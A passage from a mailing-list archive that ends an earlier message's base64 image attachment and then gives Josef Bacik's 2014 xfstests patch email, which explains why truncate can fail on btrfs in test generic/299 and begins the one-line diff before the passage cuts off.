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 ------=_NextPart_000_20AC_01CF1E07.96872F80-- From prvs=71077e9320=jbacik@fb.com Thu Jan 30 16:01:31 2014 Return-Path: <prvs=71077e9320=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F9F87F55 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 16:01:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7ED33304077 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:01:31 -0800 (PST) X-ASG-Debug-ID: 1391119287-04bdf0121f3b060001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id GsrZKBXHUPl07hlQ for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:01:27 -0800 (PST) X-Barracuda-Envelope-From: prvs=71077e9320=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0ULxj5Y015154; Thu, 30 Jan 2014 14:01:26 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=from : to : subject : date : message-id : mime-version : content-type; s=facebook; bh=9S9EZ324wHzArbw0xSzDXYq6Vwbch6LGTDlS7H6OcmA=; b=JNLJvB7jGZ411XvrY8u33I1liMDdXXjBcvmZngwvhJEFj0YCm4KJoybATW+G41pHfAES 016MsH46/hkISR9rlJL7pKBPVT4X4AoKSUOjZRNeLRBZT+TeGVNLU7nmSQ0BepBcw+ml CCRMHWxdrEpy+DPt0/K81okfNXJzrP+gGXg= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1hqv6fgqmh-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Thu, 30 Jan 2014 14:01:26 -0800 Received: from localhost (192.168.57.29) by mail.thefacebook.com (192.168.16.22) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 30 Jan 2014 14:01:25 -0800 From: Josef Bacik <jbacik@fb.com> To: <linux-btrfs@vger.kernel.org>, <xfs@oss.sgi.com> Subject: [PATCH] xfstests: generic/299 can have truncate fail Date: Thu, 30 Jan 2014 17:01:23 -0500 X-ASG-Orig-Subj: [PATCH] xfstests: generic/299 can have truncate fail Message-ID: <1391119283-11116-1-git-send-email-jbacik@fb.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-30_04:2014-01-30,2014-01-30,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1391119287 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 So this test does lots of fallocate/truncate noise while doing aio overwrites to try and exercise a deadlock found in ext4. Because it runs so hard with ENOSPC it can sometimes cause truncate to fail on btrfs. This is ok and doesn't affect the validity of the test, we just need to catch the output so it doesn't cause the test to fail. Thanks, Signed-off-by: Josef Bacik <jbacik@fb.com> --- tests/generic/299 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/generic/299 b/tests/generic/299 index 14cce96..bf02c94 100755 --- a/tests/generic/299 +++ b/tests/generic/299 @@ -130,7 +130,7 @@ _workout() done for ((k=1; k <= NUM_JOBS; k++)) do - truncate -s 0 $SCRATCH_MNT/direct_aio.$k.0 + truncate -s 0 